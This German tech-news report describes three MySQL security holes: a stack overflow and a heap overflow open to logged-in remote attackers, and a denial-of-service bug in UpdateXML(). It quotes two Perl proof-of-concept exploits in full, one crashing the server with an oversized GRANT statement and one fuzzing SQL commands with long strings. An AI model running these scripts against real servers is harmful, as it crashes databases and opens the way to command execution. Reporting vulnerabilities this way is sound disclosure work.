Im Datenbankserver MySQL sind kürzlich drei verschiedene Sicherheitslücken entdeckt worden. Zwei davon erlauben es einem Angreifer, Befehle mit den Rechten des Servers auszuführen. Allerdings benötigt er dazu einen gültigen Benutzer-Account auf dem SQL-Server.
Die erste Schwachstelle hat zur Folge, dass ein entfernter, angemeldeter Angreifer Befehle mit den Rechten des Servers auf dem System ausführen kann. Ursache hierfür ist ein Stack-Overflow-Fehler, der sich mit einer speziellen SQL-Anfrage auslösen lässt. Ein Perl-Exploit zur Demonstration ist auf Exploit-DB.com erhältlich.
use strict;
use DBI();
# Connect to the database.
my $dbh = DBI->connect("DBI:mysql:database=test;host=192.168.2.3;","user","secret",{'RaiseError' => 1});
$a ="A" x 100000;
my $sth = $dbh->prepare("grant file on $a.* to 'user'\@'%' identified by 'secret';");
$sth->execute();
# Disconnect from the database.
$dbh->disconnect();
Dieser Exploit löst einfach nur den Overflow aus und führt zum Absturz des Servers. Befüllt der Angreifer die Variable “$a” allerdings mit geeignetem Code, kann er auf diesem Weg Befehle ausführen.
Die zweite Sicherheitslücke hat ebenfalls zur Folge, dass ein entfernter, angemeldeter Angreifer Befehle mit den Rechten des Servers ausführen kann. Hierbei handelt es sich um einen Heap-Overflow-Fehler. Auch hierfür steht ein Exploit zur Verfügung:
use Net::MySQL;
use Encode;
$|=1;
my $mysql = Net::MySQL->new( hostname => '192.168.2.3', database => "test", user => "user", password => "test", debug => 0, port => 3306,
);
@commands = ('USE d', 'SHOW TABLES FROM d', "DESCRIBE t", "SHOW FIELDS FROM t", "SHOW COLUMNS FROM t", "SHOW INDEX FROM t", "CREATE TABLE table_name (c CHAR(1))", "DROP TABLE t", "ALTER TABLE t DROP c", "DELETE FROM t WHERE 1=1", "UPDATE t SET a=a","SET PASSWORD=PASSWORD('p')");
foreach my $command (@commands) { for ($k=0;$k<length($command);$k++) { $c = substr($command, 0, $k) . "Z" x 10000 . substr($command, $k+1); $c2 = substr($command, 0, $k) . "AAAA..AA" . substr($command, $k+1); print "$c2"; $mysql->query($c); }
}
$mysql->close;
Bei dem dritten Problem handelt es sich um eine Denial-of-Service-Schwachstelle, die durch einen Programmierfehler bei der Implementierung des Befehls “UpdateXML()” zustande kommt. Hierdurch kann ein entfernter, angemeldeter Angreifer den MySQL-Server zum Absturz bringen.

